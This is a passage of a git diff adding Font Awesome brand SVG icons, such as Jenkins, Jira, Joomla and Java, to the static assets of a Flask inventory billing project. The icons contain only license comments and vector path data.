73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/invision.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/invision.svg new file mode 100644 index 00000000..b2d03a6d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/invision.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ioxhost.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ioxhost.svg new file mode 100644 index 00000000..3ff8d1ee --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ioxhost.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itch-io.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itch-io.svg new file mode 100644 index 00000000..40f8ce92 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itch-io.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itunes-note.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itunes-note.svg new file mode 100644 index 00000000..39130fa1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itunes-note.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itunes.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itunes.svg new file mode 100644 index 00000000..3efa4971 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/itunes.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/java.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/java.svg new file mode 100644 index 00000000..277c52fd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/java.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jedi-order.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jedi-order.svg new file mode 100644 index 00000000..f167a69f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jedi-order.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jenkins.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jenkins.svg new file mode 100644 index 00000000..cc74c7ec --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jenkins.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jira.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jira.svg new file mode 100644 index 00000000..62827d6a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jira.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/joget.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/joget.svg new file mode 100644 index 00000000..fa3df1d2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/joget.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/joomla.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/joomla.svg new file mode 100644 index 00000000..d787b126 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/joomla.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/js-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/js-square.svg new file mode 100644 index 00000000..6e1407ee --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/js-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/js.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/js.svg new file mode 100644 index 00000000..d51707b1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/js.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 